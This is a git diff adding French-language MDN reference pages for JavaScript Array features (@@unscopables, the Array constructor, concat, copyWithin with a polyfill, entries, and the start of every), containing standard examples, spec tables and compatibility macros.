diff --git a/files/fr/web/javascript/reference/objets_globaux/array/@@unscopables/index.html b/files/fr/web/javascript/reference/objets_globaux/array/@@unscopables/index.html
new file mode 100644
index 0000000000..b61ceb5279
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/array/@@unscopables/index.html
@@ -0,0 +1,76 @@
+---
+title: 'Array.prototype[@@unscopables]'
+slug: Web/JavaScript/Reference/Objets_globaux/Array/@@unscopables
+tags:
+  - Array
+  - ECMAScript 2015
+  - JavaScript
+  - Propriété
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/@@unscopables
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété symbol <code><strong>@@unscopable</strong></code> contient les noms des propriétés qui ne faisait pas partie du standard ECMAScript avant ES2015 (ES6). Ces propriétés sont exclues lors de liaisons effectuée via l'instruction <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/with">with</a></code>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>arr</var>[Symbol.unscopables]</pre>
+
+<h2 id="Description">Description</h2>
+
+<p>Les propriétés natives d'un objet <code>Array</code> qui sont exclues lorsqu'on utilise <code>with</code> sont <code>copyWithin</code>, <code>entries</code>, <code>fill</code>, <code>find</code>, <code>findIndex</code>, <code>includes</code>, <code>keys</code> et <code>values</code>.</p>
+
+<p>Voir la page sur le symbole {{jsxref("Symbol.unscopables")}} pour manipuler <code>unscopables</code> sur des objets personnalisés.</p>
+
+<p>{{js_property_attributes(0,0,1)}}</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Le code qui suit fonctionne bien pour ES5 et les versions antérieures. En revanche, pour ECMAScript 2015 (ES6) et les versions ultérieures où la méthode  {{jsxref("Array.prototype.keys()")}} existe, lorsqu'on utilise un environnement créé avec <code>with</code>, <code>"keys"</code> serait désormais la méthode et non la variable. C'est là que le symbole natif <code>@@unscopables</code> <code>Array.prototype[@@unscopables]</code> intervient et empêche d'explorer ces méthodes avec <code>with</code>.</p>
+
+<pre class="brush: js">var keys = [];
+
+with(Array.prototype) {
+  keys.push("something");
+}
+
+Object.keys(Array.prototype[Symbol.unscopables]);
+// ["copyWithin", "entries", "fill", "find", "findIndex",
+//  "includes", "keys", "values"]</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-array.prototype-@@unscopables', 'Array.prototype[@@unscopables]')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype-@@unscopables', 'Array.prototype[@@unscopables]')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Array.@@unscopables")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Symbol.unscopables")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/array/index.html b/files/fr/web/javascript/reference/objets_globaux/array/array/index.html
new file mode 100644
index 0000000000..de1394bdd9
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/array/array/index.html
@@ -0,0 +1,86 @@
+---
+title: Constructeur Array()
+slug: Web/JavaScript/Reference/Objets_globaux/Array/Array
+tags:
+  - Array
+  - Constructeur
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/Array
+---
+<div>{{JSRef}}</div>
+
+<p>Le constructeur <strong><code>Array()</code></strong> permet de créer des objets {{jsxref("Array")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">[<var>element0</var>, <var>element1</var>, ..., <var>elementN</var>]
+
+new Array(<var>element0</var>, <var>element1</var>[, ...[, <var>elementN</var>]])
+new Array(<var>longueurTableau</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>element<em>N</em></code></dt>
+ <dd>Un tableau JavaScript est initialisé avec les éléments indiqués à moins qu'un seul argument ne soit passé (cf. <code>longueurTableau</code> ci-après). On notera que ce cas au limite ne s'applique qu'avec le constructeur <code>Array</code>. Si on utilise la forme littérale (avec les crochets), on peut initialiser un tableau avec un seul élément.</dd>
+ <dt><code>longueurTableau</code></dt>
+ <dd>Si le seul argument passé au constructeur <code>Array</code> est un entier entre 0 et 2<sup>32</sup>-1 (inclus), le constructeur renverra un tableau dont la propriété <code>length</code> vaut ce nombre. <strong>Note :</strong> le tableau contiendra des éléments vides (à ne pas confondre avec des éléments qui vaudraient <code>undefined</code>). Si l'argument est un autre nombre, une exception {{jsxref("RangeError")}} sera levée.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utilisation_de_la_notation_littérale">Utilisation de la notation littérale</h3>
+
+<p>Les tableaux peuvent être créés avec une notation <a href="/fr/docs/Web/JavaScript/Reference/Grammaire_lexicale#Litt%C3%A9raux_de_tableaux">littérale</a> :</p>
+
+<pre class="brush: js notranslate">let fruits = ['Pomme', 'Banane'];
+
+console.log(fruits.length); // 2
+console.log(fruits[0]);     // "Pomme"
+</pre>
+
+<h3 id="Utilisation_du_constructeur_avec_un_seul_paramètre">Utilisation du constructeur avec un seul paramètre</h3>
+
+<p>On peut créer des tableaux grâce au constructeur avec un seul paramètre numérique. On crée alors un tableau dont la propriété <code>length</code> vaut le nombre passé en argument et dont les éléments sont vides.</p>
+
+<pre class="brush: js notranslate">let fruits = new Array(2);
+
+console.log(fruits.length); // 2
+console.log(fruits[0]);     // undefined
+</pre>
+
+<h3 id="Utilisation_du_constructeur_avec_plusieurs_paramètres">Utilisation du constructeur avec plusieurs paramètres</h3>
+
+<p>Si on utilise plus d'un argument, un nouveau tableau ({{jsxref("Array")}}) sera construit avec les éléments passés en arguments.</p>
+
+<pre class="brush: js notranslate">let fruits = new Array('Pomme', 'Banane');
+
+console.log(fruits.length); // 2
+console.log(fruits[0]);     // "Pomme"
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array-constructor', 'Array constructor')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Array.Array")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>La classe {{jsxref("Array")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/concat/index.html b/files/fr/web/javascript/reference/objets_globaux/array/concat/index.html
new file mode 100644
index 0000000000..bd788c4e7c
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/array/concat/index.html
@@ -0,0 +1,160 @@
+---
+title: Array.prototype.concat()
+slug: Web/JavaScript/Reference/Objets_globaux/Array/concat
+tags:
+  - Array
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/concat
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>concat()</strong></code> est utilisée afin de fusionner un ou plusieurs tableaux en les concaténant. Cette méthode ne modifie pas les tableaux existants, elle renvoie un nouveau tableau qui est le résultat de l'opération.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-concat.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">let <var>nouveau_tableau</var> = <var>ancien_tableau</var>.concat(<var>valeur1</var>[, <var>valeur2</var>[, ...[, <var>valeurN</var>]]])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>valeurN</code>{{optional_inline}}</dt>
+ <dd>Des tableaux et/ou des valeurs à concaténer dans le nouveau tableau. Si tous les arguments <code>valeurN</code> valent <code>undefined</code>, <code>concat</code> renverra une copie superficielle du tableau sur lequel elle est appelée. Voir ci-après pour plus de détails.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une nouvelle instance de {{jsxref("Array")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>concat</code> permet de créer un nouveau tableau constitué des éléments de l'objet <code>this</code> sur lequel elle a été appelée, suivis dans l'ordre par, pour chaque paramètre, les éléments de ce paramètre (s'il s'agit d'un tableau) ou le paramètre lui-même (s'il ne s'agit pas d'un tableau). La concaténation ne « déplie » pas les tableaux imbriqués.</p>
+
+<p>La méthode <code>concat</code> ne modifie pas <code>this</code> ni aucun des tableaux passés en paramètres, mais renvoie une copie qui contient des copies des mêmes éléments combinées que ceux des tableaux originaux. Les éléments des tableaux originaux sont copiés dans le nouveau tableau comme suit :</p>
+
+<ul>
+ <li>Pour les références à des objets (et non les objets eux-mêmes) : <code>concat</code> copie ces références dans le nouveaux tableau. Le tableau original et le nouveau tableau feront référence au même objet. C'est-à-dire que si un objet référencé est modifié, ces changements seront visibles tant dans le nouveau que dans les tableaux originaux.</li>
+</ul>
+
+<ul>
+ <li>Pour les chaînes, les booléens et les nombres « primitifs » (c'est-à-dire pas les objets {{jsxref("String", "String")}}, {{jsxref("Boolean")}} et {{jsxref("Number", "Number")}}) : <code>concat</code> copie les valeurs des chaînes et des nombres dans le nouveau tableau. (voir <a href="/fr/docs/Web/JavaScript/Structures_de_donn%C3%A9es#Les_types_de_donn%C3%A9es">Les types de données en JavaScript</a>).</li>
+</ul>
+
+<div class="note">
+<p><strong>Note :</strong> La concaténation n'impactera pas les tableaux originaux. Par la suite, toute opération sur le nouveau tableau n'aura aucun effet sur les tableaux d'origine, et vice versa.</p>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Concaténer_deux_tableaux">Concaténer deux tableaux</h3>
+
+<p>Le code qui suit concatène deux tableaux :</p>
+
+<pre class="brush: js">let alpha = ["a", "b", "c"];
+let numerique = [1, 2, 3];
+
+alpha.concat(numerique);
+// donne : ["a", "b", "c", 1, 2, 3]
+</pre>
+
+<h3 id="Concaténer_trois_tableaux">Concaténer trois tableaux</h3>
+
+<p>Le code qui suit concatène trois tableaux :</p>
+
+<pre class="brush: js">let num1 = [1, 2, 3];
+let num2 = [4, 5, 6];
+let num3 = [7, 8, 9];
+
+let nums = num1.concat(num2, num3);
+
+console.log(nums);
+// [1, 2, 3, 4, 5, 6, 7, 8, 9]
+</pre>
+
+<h3 id="Concaténer_des_valeurs_avec_un_tableau">Concaténer des valeurs avec un tableau</h3>
+
+<p>Le code qui suit ajoute trois valeurs à un tableau :</p>
+
+<pre class="brush: js">let alpha = ['a', 'b', 'c'];
+
+let alphanumerique = alpha.concat(1, [2, 3]);
+
+console.log(alphanumerique);
+// ['a', 'b', 'c', 1, 2, 3]
+</pre>
+
+<h3 id="Concaténer_des_tableaux_imbriqués">Concaténer des tableaux imbriqués</h3>
+
+<p>Dans le code qui suit, on concatène deux tableaux qui ont plusieurs dimensions et on illustre la conservation des références :</p>
+
+<pre class="brush: js">let num1 = [[1]];
+let num2 = [2, [3]];
+
+let nums = num1.concat(num2);
+
+console.log(nums);
+// affichera [[1], 2, [3]]
+
+// Ici, on modifie le premier élément de num1
+num1[0].push(4);
+
+console.log(nums);
+// affichera [[1, 4], 2, [3]]</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.4', 'Array.prototype.concat')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.concat', 'Array.prototype.concat')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.concat', 'Array.prototype.concat')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Array.concat")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Array.push", "push")}} / {{jsxref("Array.pop", "pop")}} qui permettent d'ajouter/retirer des éléments à partir de la fin du tableau</li>
+ <li>{{jsxref("Array.unshift", "unshift")}} / {{jsxref("Array.shift", "shift")}} qui permettent d'ajouter/retirer des éléments à partir du début du tableau</li>
+ <li>{{jsxref("Array.splice", "splice")}} qui permet d'ajouter/retirer des éléments à un endroit donné du tableau</li>
+ <li>{{jsxref("String.prototype.concat()")}}</li>
+ <li>{{jsxref("Symbol.isConcatSpreadable")}} (permet de contrôler la façon dont un tableau est ramené à une valeur)</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/copywithin/index.html b/files/fr/web/javascript/reference/objets_globaux/array/copywithin/index.html
new file mode 100644
index 0000000000..32ffdd57e3
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/array/copywithin/index.html
@@ -0,0 +1,199 @@
+---
+title: Array.prototype.copyWithin()
+slug: Web/JavaScript/Reference/Objets_globaux/Array/copyWithin
+tags:
+  - Array
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/copyWithin
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>copyWithin()</strong></code> effectue une copie superficielle (<em>shallow copy</em>) d'une partie d'un tableau sur ce même tableau et le renvoie, sans modifier sa taille.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-copywithin.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">arr.copyWithin(cible)
+arr.copyWithin(cible, début)
+arr.copyWithin(cible, début, fin)
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>cible</code></dt>
+ <dd>
+ <p>Indice à partir duquel la séquence sera copiée. Si la valeur est négative, <code>cible </code>sera compté à partir de la fin du tableau.</p>
+
+ <p>Si <code>cible </code>est supérieur ou égal à <code>arr.length</code>, rien ne sera copié. Si <code>cible</code> est positionné apès <code>début</code>, la séquence copiée sera réduite pour correspondre à <code>arr.length</code>.</p>
+ </dd>
+ <dt><code>début</code> {{optional_inline}}</dt>
+ <dd>Indice de début de la séquence a copier. Si la valeur est négative, <code>début</code> sera compté à partir de la fin du tableau.</dd>
+ <dd>Si <code>début</code> est omis, <code>copyWithin</code> copiera à partir du début du tableau (par défaut 0).</dd>
+ <dt><code>fin</code> {{optional_inline}}</dt>
+ <dd>Indice de fin de la séquence a copier. <code>copyWithin</code> copie jusqu'à <code>fin</code> (non-inclusif). Si la valeur est négative, <code>end</code> sera compté à partir de la fin du tableau.</dd>
+ <dd>Si <code>end</code> est omis, <code>copyWithin</code> copiera jusqu'à la fin du tableau (par défaut <code>arr.length</code>).</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Le tableau modifié par la méthode.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La fonction <code>copyWithin()</code> fonctionne de la même façon que <code>memmove</code> en C/C++. C'est une méthode très performante pour décaler les données d'un {{jsxref("Array")}} ou d'un {{jsxref("TypedArray")}} (dans ce cas, on pourra utiliser {{jsxref("TypedArray/copyWithin", "TypedArray.copyWithin()")}}). La séquence est copiée et collée en une opération. La séquence collée aura les valeurs copiées même si les zones de copiage et de collage se chevauchent.</p>
+
+<p>La fonction <code>copyWithin()</code> est intentionnellement générique, il n'est pas nécessaire que <code>this</code> soit un objet {{jsxref("Array", "Array")}}.</p>
+
+<p>De plus, <code>copyWithin()</code> est une méthode qui modifie l'objet courant. Elle ne modifie pas la longueur de <code>this</code>, mais change son contenu et créé de nouvelles propriétés si nécessaire.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">[1, 2, 3, 4, 5].copyWithin(-2);
+// [1, 2, 3, 1, 2]
+
+[1, 2, 3, 4, 5].copyWithin(0, 3);
+// [4, 5, 3, 4, 5]
+
+[1, 2, 3, 4, 5].copyWithin(0, 3, 4);
+// [4, 2, 3, 4, 5]
+
+[1, 2, 3, 4, 5].copyWithin(-2, -3, -1);
+// [1, 2, 3, 3, 4]
+
+[].copyWithin.call({length: 5, 3: 1}, 0, 3);
+// {0: 1, 3: 1, length: 5}
+
+// Les tableaux typés ES2015 sont des sous-classes d'Array
+var i32a = new Int32Array([1, 2, 3, 4, 5]);
+
+i32a.copyWithin(0, 2);
+// Int32Array [3, 4, 5, 4, 5]
+
+// Sur les plates-formes qui ne supportent pas encore ES2015 :
+[].copyWithin.call(new Int32Array([1, 2, 3, 4, 5]), 0, 3, 4);
+// Int32Array [4, 2, 3, 4, 5]
+</pre>
+
+<h2 id="Prothèse_d'émulation_(polyfill)">Prothèse d'émulation (<em>polyfill</em>)</h2>
+
+<p>Cette méthode a été ajoutée à la spécification ECMAScript 6 et peut ne pas être utilisable dans tous les environnements. Voici un fragment de code qui permet d'émuler cette méthode :</p>
+
+<pre class="brush: js">if (!Array.prototype.copyWithin) {
+  Object.defineProperty(Array.prototype, 'copyWithin', {
+    value: function(target, start/*, end*/) {
+    // Steps 1-2.
+    if (this == null) {
+      throw new TypeError('this is null or not defined');
+    }
+
+    var O = Object(this);
+
+    // Steps 3-5.
+    var len = O.length &gt;&gt;&gt; 0;
+
+    // Steps 6-8.
+    var relativeTarget = target &gt;&gt; 0;
+
+    var to = relativeTarget &lt; 0 ?
+      Math.max(len + relativeTarget, 0) :
+      Math.min(relativeTarget, len);
+
+    // Steps 9-11.
+    var relativeStart = start &gt;&gt; 0;
+
+    var from = relativeStart &lt; 0 ?
+      Math.max(len + relativeStart, 0) :
+      Math.min(relativeStart, len);
+
+    // Steps 12-14.
+    var end = arguments[2];
+    var relativeEnd = end === undefined ? len : end &gt;&gt; 0;
+
+    var final = relativeEnd &lt; 0 ?
+      Math.max(len + relativeEnd, 0) :
+      Math.min(relativeEnd, len);
+
+    // Step 15.
+    var count = Math.min(final - from, len - to);
+
+    // Steps 16-17.
+    var direction = 1;
+
+    if (from &lt; to &amp;&amp; to &lt; (from + count)) {
+      direction = -1;
+      from += count - 1;
+      to += count - 1;
+    }
+
+    // Step 18.
+    while (count &gt; 0) {
+      if (from in O) {
+        O[to] = O[from];
+      } else {
+        delete O[to];
+      }
+
+      from += direction;
+      to += direction;
+      count--;
+    }
+
+    // Step 19.
+    return O;
+  },
+  configurable: true,
+  writable: true
+  });
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-array.prototype.copywithin', 'Array.prototype.copyWithin')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2016', '#sec-array.prototype.copywithin', 'Array.prototype.copyWithin')}}</td>
+   <td>{{Spec2('ES2016')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.copywithin', 'Array.prototype.copyWithin')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Array.copyWithin")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Array", "Array")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/entries/index.html b/files/fr/web/javascript/reference/objets_globaux/array/entries/index.html
new file mode 100644
index 0000000000..127cec9f99
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/array/entries/index.html
@@ -0,0 +1,97 @@
+---
+title: Array.prototype.entries()
+slug: Web/JavaScript/Reference/Objets_globaux/Array/entries
+tags:
+  - Array
+  - ECMAScript 2015
+  - Iterator
+  - JavaScript
+  - Méthode
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/entries
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>entries()</strong></code> renvoie un nouvel objet de type  <code><strong>Array Iterator</strong></code> qui contient le couple clef/valeur pour chaque éléments du tableau.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-entries.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>arr</var>.entries()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un nouvel objet qui est un itérateur pour {{jsxref("Array")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Parcourir_un_tableau_avec_ses_index_et_éléments">Parcourir un tableau avec ses index et éléments</h3>
+
+<pre class="brush:js">const arr = ["a", "b", "c"];
+for (const [index, element] of arr.entries()) {
+  console.log(index, element);
+}
+// 0 "a"
+// 1 "b"
+// 2 "c"
+</pre>
+
+<h3 id="Boucle_for...of">Boucle <code>for...of</code></h3>
+
+<p>On peut avoir le même résultat en utilisant une boucle <a href="/fr/docs/Web/JavaScript/Reference/Instructions/for...of">for...of</a> :</p>
+
+<pre class="brush: js">var arr = ['a', 'b', 'c'];
+var eArr = arr.entries();
+
+for (let e of eArr) {
+  console.log(e);
+}
+// [0, 'a']
+// [1, 'b']
+// [2, 'c']
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-array.prototype.entries', 'Array.prototype.entries')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.entries', 'Array.prototype.entries')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Array.entries")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.keys()")}}</li>
+ <li>{{jsxref("Array.prototype.values()")}}</li>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li>{{jsxref("Array.prototype.every()")}}</li>
+ <li>{{jsxref("Array.prototype.some()")}}</li>
+ <li><code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/for...of">for...of</a></code></li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Les_protocoles_iteration">Les protocoles d'itération</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/every/index.html b/files/fr/web/javascript/reference/objets_globaux/array/every/index.html
new file mode 100644
index 0000000000..2c3e71dca6
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/array/every/index.html
@@ -0,0 +1,201 @@
+---
+title: Array.prototype.every()
+slug: Web/JavaScript/Reference/Objets_globaux/Array/every
+tags:
+  - Array
+  - ECMAScript 5
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/every
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>every()</strong></code> permet de tester si tous les éléments d'un tableau vérifient une condition donnée par une fonction en argument. Cette méthode renvoie un booléen pour le résultat du test.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Cette méthode renvoie <code>true</code> pour n'importe quelle condition utilisée sur un tableau vide.</p>
+</div>
+
+<div>{{EmbedInteractiveExample("pages/js/array-every.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>arr</var>.every(<var>callback</var>[, <var>thisArg</var>])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>La fonction sur laquelle on souhaite tester chaque élément du tableau. Elle prend en compte trois arguments :
+ <dl>
+  <dt><code>currentValue</code></dt>
+  <dd>La valeur de l'élément à traiter.</dd>
+  <dt><code>index</code>{{Optional_inline}}</dt>
+  <dd>L'indice de l'élément du tableau à tester.</dd>
+  <dt><code>array</code>{{Optional_inline}}</dt>
+  <dd>Le tableau sur lequel on a appelé la méthode <code>every</code>.</dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code>{{Optional_inline}}</dt>
+ <dd>Paramètre optionnel. La valeur à utiliser pour <code>this</code> lors de l'exécution de la fonction.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p><code>true</code> si la fonction de rappel obtient une valeur équivalente à vrai (<em>truthy</em>) pour chaque élément du tableau et <code>false</code> sinon.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>every</code> exécute la fonction <code>callback</code> fournie sur chacun des éléments contenus dans le tableau jusqu'à ce qu'un élément pour lequel la fonction <code>callback</code> renvoie une valeur fausse (<em>falsy value</em>) soit trouvé. Si un tel élément est trouvé, la méthode <code>every</code> renvoie directement <code>false</code>. Sinon, si la fonction <code>callback</code> a renvoyé une valeur vraie pour tous les éléments, la méthode <code>every</code> renverra <code>true</code>. La fonction <code>callback</code> n'est appelée que pour les indices du tableau pour lesquels il existe des valeurs affectées. Elle n'est pas appelée pour les indices supprimés ou ceux qui n'ont jamais reçu de valeur.</p>
+
+<p><code>callback</code> est appelée avec trois arguments : la valeur de l'élément en cours de traitement, l'indice de l'élément dans le tableau et le tableau qui est parcouru.</p>
+
+<p>Si un paramètre <code>thisArg</code> est fourni à la méthode <code>every</code>, ce sera la valeur <code>this</code> de la fonction <code>callback</code>. Si ce paramètre n'est pas fourni, la valeur <code>undefined</code> sera utilisée comme valeur pour <code>this</code>. La valeur <code>this</code> « définitivement » utilisée par la fonction <code>callback</code> est déterminée selon <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_this">les règles usuelles de détermination de <code>this</code></a>.</p>
+
+<p><code>every</code> ne modifie pas le tableau sur lequel elle a été appelée.</p>
+
